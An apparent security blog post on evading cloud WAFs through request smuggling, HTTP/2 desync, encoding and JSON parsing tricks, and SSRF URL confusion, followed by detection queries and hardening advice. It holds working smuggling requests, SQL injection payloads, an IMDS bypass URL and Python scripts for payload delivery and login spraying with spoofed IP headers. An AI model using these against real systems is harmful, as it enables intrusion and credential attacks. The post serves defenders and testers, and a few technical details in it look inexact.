TL;DR — Cloud WAF platforms sit in the request path as reverse proxies, and their security model assumes that the WAF and the backend agree on how to parse an HTTP request. HTTP request smuggling, HTTP/2 desync, chunked encoding tricks, and JSON normalization bypass attacks all exploit cases where that assumption breaks. This post dissects each bypass class, constructs working PoC request sequences for AWS WAF, Cloudflare, and Imperva, and maps every technique to its detection surface in WAF telemetry.
Executive Summary
The cloud WAF threat model is straightforward: all client traffic passes through the WAF before reaching the origin, the WAF inspects each request against its ruleset, and malicious requests are blocked before delivery. The practical reality is far messier. Every WAF is a reverse proxy, and every reverse proxy is one half of a two-parser pipeline. When the WAF and the origin server disagree on where one HTTP request ends and the next begins, the attacker can construct a "smuggled" request whose malicious component is invisible to the WAF but delivered intact to the backend.
This is not an academic concern. HTTP request smuggling has been used to bypass WAFs protecting AWS Elastic Load Balancers, Cloudflare-proxied origins, Akamai-fronted APIs, and Imperva-protected applications — all in disclosed, real-world bug bounty and red team engagements. The techniques extend beyond classic CL.TE/TE.CL smuggling to HTTP/2 desync (H2.CL, H2.TE), chunked encoding obfuscation, URL encoding bypass of path-matching rules, JSON body normalization flaws, and SSRF filter evasion via URL parser confusion.
Cloud WAF Architecture and the Two-Parser Problem
graph LR
Client -->|HTTPS| WAF["Cloud WAF\n(Reverse Proxy)"]
WAF -->|HTTP/1.1 or HTTP/2| Origin["Origin Server\n(nginx, Apache, IIS)"]
WAF -->|"Inspect: headers, URI, body"| RuleEngine[WAF Rule Engine]
RuleEngine -->|Block| Drop[4xx Response]
RuleEngine -->|Allow| OriginThe WAF and origin each run independent HTTP parsers. When they disagree, a request that the WAF sees as one unit may be seen as two by the origin — the second fragment becoming a "poisoned" request prefix that the origin prepends to the next legitimate client's request.
HTTP Request Smuggling: CL.TE
In a CL.TE desync, the WAF uses Content-Length to determine request body size, but the origin uses Transfer-Encoding: chunked. The WAF forwards a request it considers fully parsed; the origin's chunked parser sees only part of it, leaving residual bytes in its TCP receive buffer.
PoC — Cloudflare → nginx (CL.TE):
POST / HTTP/1.1Host: victim.comContent-Length: 49Transfer-Encoding: chunked eGET /admin HTTP/1.10 GET / HTTP/1.1Breaking down the attack:
Content-Length: 49tells Cloudflare's parser that the body is 49 bytes — it sees the entire message above as one request and passes it after rule evaluation.- The origin (nginx with chunked TE priority) parses
e(14 decimal) as the first chunk size, reads 14 bytes (GET /admin HTTP), then reads0as the terminating chunk. - The remaining bytes (
/1.1\r\n\r\nGET / HTTP/1.1) are left in the socket buffer. - The next legitimate request from any client gets prepended with
GET /admin HTTP/1.1— effectively making that client issue an admin request.
HTTP Request Smuggling: TE.CL
In TE.CL, the WAF honours Transfer-Encoding: chunked while the origin honours Content-Length.
POST / HTTP/1.1Host: victim.comContent-Length: 4Transfer-Encoding: chunked 7cGET /admin HTTP/1.1Host: victim.comContent-Type: application/x-www-form-urlencodedContent-Length: 144 x=0The WAF reads the chunked body (7c = 124 bytes of content, terminated by 0 chunk), inspects it, and forwards everything. The origin's Content-Length: 4 parser reads only 7c\r\n (4 bytes) as the body and delivers the request. The remaining chunked body is left in the socket buffer as a new request prefix.
TE.TE Obfuscation Variants
Some WAFs and origins both claim to support Transfer-Encoding: chunked but can be induced to disagree via obfuscated header values. Only one of the two parsers will recognise the obfuscated TE header and process the chunked body; the other falls back to Content-Length.
# Space before colon (violates RFC 7230 — some parsers accept, some reject)Transfer-Encoding : chunked # Null byte in header valueTransfer-Encoding: chunked\x00 # Multiple TE headers (WAF deduplicates; origin takes last)Transfer-Encoding: cowTransfer-Encoding: chunked # Case manipulationTransfer-Encoding: Chunked # Tab in header valueTransfer-Encoding:\tchunkedSystematic approach — use Burp Suite's HTTP Request Smuggler extension to fuzz all TE.TE variants against the target. The extension sends pairs of requests (attacker-controlled and canary), looking for the canary request to arrive at the attacker with a smuggled prefix attached.
HTTP/2 Desync: H2.CL and H2.TE
HTTP/2 is a binary framing protocol. Request bodies are carried in DATA frames whose lengths are defined by the frame header — there is no Content-Length or Transfer-Encoding header in the protocol layer. However, HTTP/2 gateways that downgrade to HTTP/1.1 for the backend must synthesize these headers.
sequenceDiagram
participant C as Client
participant W as WAF (HTTP/2 frontend)
participant O as Origin (HTTP/1.1 backend)
C->>W: HTTP/2 POST /search\nDATA frame: 0 bytes body\nContent-Length: 30
Note over W: HTTP/2 body length = 0\nWAF inspects 0 bytes of body
W->>O: POST /search HTTP/1.1\nContent-Length: 30\n\n[0 bytes sent]
Note over O: Origin expects 30 more bytes\nStalls, then reads next request
C->>W: HTTP/2 GET /admin HTTP/1.1\n...
W->>O: GET /admin HTTP/1.1 (prepended to stall)
Note over O: Sees smuggled admin requestH2.CL attack construction (Burp Suite HTTP/2 raw editor):
:method POST:path /search:authority victim.comcontent-length: 30 GET /admin HTTP/1.1Host: victim.comThe HTTP/2 DATA frame length is 0. The WAF's HTTP/2 parser inspects zero bytes of body and finds nothing malicious. When downgrading to HTTP/1.1, it synthesizes Content-Length: 30 from the pseudo-header value. The origin receives a 30-byte content-length with an empty body and blocks waiting for the remaining 30 bytes — which arrive as the beginning of the next HTTP/1.1 request from the WAF, causing desync.
H2.TE: Same principle but using a transfer-encoding: chunked header injected into the HTTP/2 request. RFC 9113 forbids TE headers in HTTP/2, but WAFs that don't strip them before downgrading to HTTP/1.1 produce a TE.CL or CL.TE scenario on the origin side.
Chunked Encoding Obfuscation for WAF Bypass
Beyond request smuggling, chunked encoding syntax can be abused to bypass WAF body inspection. The WAF may not fully implement chunk extension parsing.
POST /login HTTP/1.1Host: victim.comTransfer-Encoding: chunked a; ignored-extensionSELECT6* FROM5users0 The ; introduces a chunk extension (RFC 7230 §4.1.1). Some WAF implementations tokenize the chunk size field at ; and use only the hex size value, reading the body correctly. Others do not parse extensions and fail to reconstruct the body properly, missing the embedded SQL injection string that the origin sees as SELECT * FROM users.
URL Encoding and Double-Encoding Path Bypasses
Cloud WAF path-matching rules evaluate normalised URI paths. If the WAF normalises before rule evaluation but the backend also normalises (or vice versa), there can be a discrepancy in what each considers the effective path.
# Single percent-encoding — often decoded by both WAF and backend (no bypass)GET /a%64min HTTP/1.1 -> /admin (decoded by both) # Double percent-encoding — WAF decodes once (%25 -> %), backend decodes twiceGET /a%2564min HTTP/1.1# WAF sees: /a%64min -> does not match /admin rule -> passes# Backend sees: /admin -> serves admin panel # Unicode normalization — some WAFs normalize Unicode, backends may notGET /admin HTTP/1.1# WAF: /admin -> blocked# Origin with lenient parser: /admin -> served # Path traversal via encoded slashGET /public%2f..%2fadmin HTTP/1.1# WAF: /public/../../admin -> rule doesn't fire (traversal rule only for %2e%2e)# Origin: /adminAWS WAF bypass via overlong UTF-8 encoding:
AWS WAF's managed rule groups (e.g., AWSManagedRulesCommonRuleSet) may fail to detect SQL injection or XSS payloads encoded as overlong UTF-8 sequences if the WAF's text transformation does not normalise them, while the backend (Java/Python/Node.js) does.
# Normal: UNION SELECT# Overlong UTF-8: \xc0\xa5\xc0\xb3\xc0\xb5\xc0\xa3\xc0\xb4...# WAF: does not recognise as SQL keyword -> passes# JVM: normalises overlong bytes -> UNION SELECTJSON Body Normalization Bypasses
Cloud WAF JSON parsers are often less strict than backend JSON parsers. Discrepancies in how each handles edge cases in JSON syntax create bypass opportunities.
import requests target = "https://api.victim.com/user/login"headers = {"Content-Type": "application/json"} # Technique 1: Duplicate JSON keys# WAF rule sees {"username":"admin"} and {"password":"safe"}# Many WAFs parse last-wins; backend parses first-wins (or vice versa)payload_dup_key = '{"username":"admin","password":"safe","password":"x\' OR \'1\'=\'1"}' # Technique 2: Unicode escape in string value# WAF string-matches for "UNION" — Unicode-escaped variant evadespayload_unicode = '{"query":"\\u0055NION SELECT username,password FROM users--"}' # Technique 3: Tab and newline characters in string values# Some WAF JSON scanners fail on embedded control characterspayload_tab = '{"query":"UNI\tON SEL\tECT * FROM users"}' # Technique 4: JSON with trailing garbage after closing brace# Strict parsers reject it; lenient parsers (e.g., Python json.loads) ignore trailerpayload_trailer = '{"username":"admin","password":"pass"}/*injected*/' for name, payload in [ ("dup_key", payload_dup_key), ("unicode", payload_unicode), ("tab", payload_tab), ("trailer", payload_trailer),]: r = requests.post(target, data=payload, headers=headers, timeout=5) print(f"[{name}] Status: {r.status_code} | Length: {len(r.text)}")SSRF Filter Bypass: URL Parser Confusion
WAFs that inspect request parameters for SSRF payloads implement URL parsing logic that may differ from the backend's. Common discrepancies:
# Authority confusion — WAF may parse host as "attacker.com"; backend parses "localhost"http://localhost@attacker.com # RFC: userinfo@host = "localhost" is userinfo, "attacker.com" is hosthttp://attacker.com@localhost # WAF may take first @-part; backend takes last # IPv6 bypasshttp://[::1]/admin # Some WAFs only block "127.0.0.1", not IPv6 loopbackhttp://[0:0:0:0:0:ffff:127.0.0.1]/ # IPv4-mapped IPv6 # Decimal IP representationhttp://2130706433/ # 127.0.0.1 as 32-bit decimal integerhttp://0x7f000001/ # 127.0.0.1 as hex # CIDR confusionhttp://127.1/ # Abbreviated form; Linux resolves as 127.0.0.1 # DNS rebinding — passes WAF check at request time; rebinds to 127.0.0.1 on backend resolutionhttp://rebind.attacker.com/ # attacker's DNS TTL=1s, alternates between public IP and 127.0.0.1Practical SSRF bypass against AWS WAF: AWS WAF's AWSManagedRulesAnonymousIpList and AWSManagedRulesKnownBadInputsRuleSet block explicit references to 169.254.169.254 (EC2 IMDS). Bypass using decimal encoding: http://2852039166/latest/meta-data/ (2852039166 = 169.254.169.254 as 32-bit int).
Rate Limiting Bypass: X-Forwarded-For Spoofing
Cloud WAF rate limiting tracks source IP addresses. When the WAF trusts the X-Forwarded-For header to identify the originating client (common in configurations that sit behind a CDN or load balancer), an attacker can spoof it to rotate through arbitrary IP addresses and evade per-IP rate limits.
import requests, random def spoofed_request(url: str, method: str = "GET", **kwargs) -> requests.Response: """Send a request with a spoofed X-Forwarded-For IP.""" fake_ip = ".".join(str(random.randint(1, 254)) for _ in range(4)) headers = kwargs.pop("headers", {}) headers.update({ "X-Forwarded-For": fake_ip, "X-Real-IP": fake_ip, "X-Originating-IP": fake_ip, "X-Remote-IP": fake_ip, "X-Client-IP": fake_ip, "True-Client-IP": fake_ip, # Cloudflare enterprise header "CF-Connecting-IP": fake_ip, # Cloudflare origin-facing header }) return requests.request(method, url, headers=headers, **kwargs) # Spray login attempts across "different" IPsfor i in range(1000): resp = spoofed_request( "https://victim.com/login", method="POST", data={"user": f"user{i}@victim.com", "pass": "Password1!"} ) print(f"[{i}] {resp.status_code}")Mitigation: WAFs should only trust X-Forwarded-For values from known upstream proxy IPs. Cloudflare recommends using the CF-Connecting-IP header only when the WAF sits directly behind Cloudflare's edge network, and restricting accepted proxy IPs to Cloudflare's published IP ranges.
Detection Opportunities
| Technique | WAF Telemetry Signal | SIEM Query |
|---|---|---|
| CL.TE / TE.CL smuggling | HTTP 400/501 errors from origin; connection timeout spikes | waf_status:400 AND origin_error AND transfer_encoding:* |
| H2.CL / H2.TE desync | HTTP/2 stream RST after partial body; unusual grpc error codes | http2_rst_stream AND content_length_mismatch |
| Chunked obfuscation | WAF logs raw TE header value with unusual formatting | transfer_encoding NOT IN ("chunked", "identity") |
| Double URL encoding | Encoded characters in normalised URI path | uri_path MATCHES "%25[0-9a-fA-F]{2}" |
| SSRF filter bypass | Backend HTTP request to RFC1918 / IMDS addresses | outbound_dest IN (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) |
| XFF IP spoofing | Rate limit exceptions from non-routable or cloud-range IPs | xff_ip IN known_cloud_ranges AND rate_limit_triggered |
| JSON normalization bypass | Backend application error on JSON parse; WAF passed request | waf_action:allow AND backend_status:500 AND content_type:json |
Burp Suite for smuggling detection: Use the HTTP Request Smuggler extension (James Kettle, PortSwigger). Configure Burp Collaborator as the callback host. The extension sends all CL.TE, TE.CL, and TE.TE variants and detects smuggling by observing whether the Collaborator receives a backend-initiated request containing the attacker's injected headers.
Hardening WAF Configurations
Beyond detection, several configuration controls close major bypass classes:
Normalize before inspection. Configure the WAF to apply all text transformations (URL decode, HTML entity decode, Base64 decode, lowercase) before running rules. AWS WAF text transformations, Cloudflare transform rules, and Imperva normalization settings should be enabled and applied uniformly.
Reject ambiguous Transfer-Encoding. Configure both the WAF and origin to reject requests that contain both Content-Length and Transfer-Encoding headers. RFC 9112 §6.3 states that a server receiving both must use the Transfer-Encoding, but rejecting the request is safer.
Enforce strict HTTP/2 header validation. Strip or reject requests containing transfer-encoding pseudo-headers in HTTP/2 requests before downgrading. RFC 9113 §8.2.2 prohibits these headers in HTTP/2.
Use HTTP/2 for WAF-to-origin connections. H2 end-to-end eliminates the H2.CL and H2.TE desync classes — there are no Content-Length or Transfer-Encoding headers in the H2 framing layer.
MITRE ATT&CK Mapping
| Technique | ATT&CK ID | Description |
|---|---|---|
| Exploit Public-Facing Application | T1190 | Exploiting WAF-protected application via protocol bypass |
| Adversary-in-the-Middle | T1557 | HTTP smuggling to poison other users' sessions |
| Server-Side Request Forgery | T1665 | SSRF filter bypass via URL parser confusion |
| Obfuscated Files or Information | T1027 | Encoding and normalization bypass to hide payloads from WAF inspection |
| Masquerading | T1036 | Making malicious content appear benign to WAF rule engines |
Conclusion
Cloud WAFs are not impenetrable — they are probabilistic filters operating on an imperfect view of HTTP traffic. Every request goes through at least two parsers (WAF and origin), and wherever two parsers can disagree, an attacker can construct inputs that one parser accepts and the other interprets differently. HTTP request smuggling, HTTP/2 desync, chunked obfuscation, encoding normalization discrepancies, and SSRF URL parser confusion are all expressions of the same underlying principle.
Defenders must address the two-parser problem structurally: enforce HTTP/1.1 strict parsing at the WAF-to-origin hop (reject ambiguous chunked/CL headers), upgrade WAF-to-origin connections to HTTP/2 where possible (H2 eliminates CL/TE ambiguity in the framing layer), monitor WAF bypass metrics (requests that receive a 200 from the origin after the WAF logged a potential block), and regularly run smuggling detection tooling against their own infrastructure. The WAF is one control layer, not a moat.
Security teams should conduct WAF bypass assessments annually or after any significant WAF vendor or version change. WAF rule sets evolve, but so do evasion techniques — and the gap between a WAF's published rule coverage and its actual inspection fidelity for edge-case HTTP constructs is frequently wider than vendors disclose. Protocol smuggling, normalization differences, and parser quirks require active testing with purpose-built tooling (Burp's HTTP Request Smuggler, smuggler.py, h2csmuggler) rather than reliance on compliance checklists or vendor assurance statements. The most dangerous WAF bypass is the one that has been silently effective against your infrastructure for months without appearing in any WAF event log.